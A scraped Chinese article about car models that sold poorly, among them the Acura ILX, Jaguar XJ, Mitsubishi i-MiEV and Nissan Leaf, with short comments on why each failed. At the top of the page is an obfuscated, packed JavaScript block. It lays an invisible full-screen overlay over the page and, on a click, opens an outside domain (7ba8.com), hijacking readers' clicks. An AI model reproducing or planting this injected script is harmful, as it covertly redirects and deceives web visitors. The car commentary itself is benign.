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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 汽车需求越来越大，但同样汽车品类也越来越多样化。很多车型可能因为同门竞争或者设计太超期导致销量惨淡，而被沦为全球失败的车型。下面欢迎大家一起来吐槽，看到这些失败的车车型你有没有入围，你又有何感想？ 讴歌ILX： ![]() 讴歌ILX被众消费者看成是一款真皮版思域车型而已，但价格却比本田思域高出许多。想要蒙混过关骗过越来越精明的消费者，靠这些伎俩是很难做到。
讴歌ZDX： ![]()
讴歌车型在中国市场上来说也是进进出出，但终究难找到突围的路径，以惨淡的结局而告终。讴歌ZDX车型定价过高且留给驾驶员头部的活动空间非常有限。不但没有做出自身品牌的豪华定位，反而价格上却让人难以接受。
别克君威： ![]()
君威车型的大小与售价均与2011年发布的紧凑型Verano相似，因此别克经销商均担心这两款车型的在市场中的销售会成为“竞争对手”。 道奇Durango： ![]()
道奇车型在市场上一直也是销量惨淡，一直保持销量下降的趋势，面临着退出市场的局面。然而克莱斯勒公司却不以为意且认为该车型并不会退出汽车市场。
捷豹XJ： ![]()
昔日的英国王室座驾，今日却只能靠价格的优惠换来惨淡的交易。相比于宝马7系和奔驰S级的的热销，捷豹XJ的销量处在下降通道中。据了解，该车型没有全驱车型是导致该车型销量不佳的主要原因，全驱车型在同级汽车市场中销量约占40%之多。此外，仅配备有V8发动机捷豹XJ完全达不到节能的要求。因此，该公司计划于2013年发布配有V6发动机的XJ车型以满足消费者的节能要求。
福特嘉年华： ![]()
福特嘉年华这款车型可能会有不少人提出异议，感觉这款车在市场销量还不错。诚然该车型有时出现销量出现反弹的迹象，但是总体销量水平却下降。因此，福特决定重新给嘉年华配备以1.0升三缸新动力发动机来恢复该款车型的生机。
三菱i-MiEV： ![]()
日本是一个非常注重使用资源的国家，其在汽车电动技术领域全球领先。但是过于超前的产品和技术很难普及和让当下的跟风一族买单，作为最失败的车型，i-MiEV销量惨淡就是有一个例子。
日产聆风： ![]()
日产聆风可以说是被很多汽车环保人士所看好的产品，也是未来汽车发展的主流。但是在当下追求速度与激情的年代，很少有人去为这款车型买单，销量数据与预期相比差距甚远。
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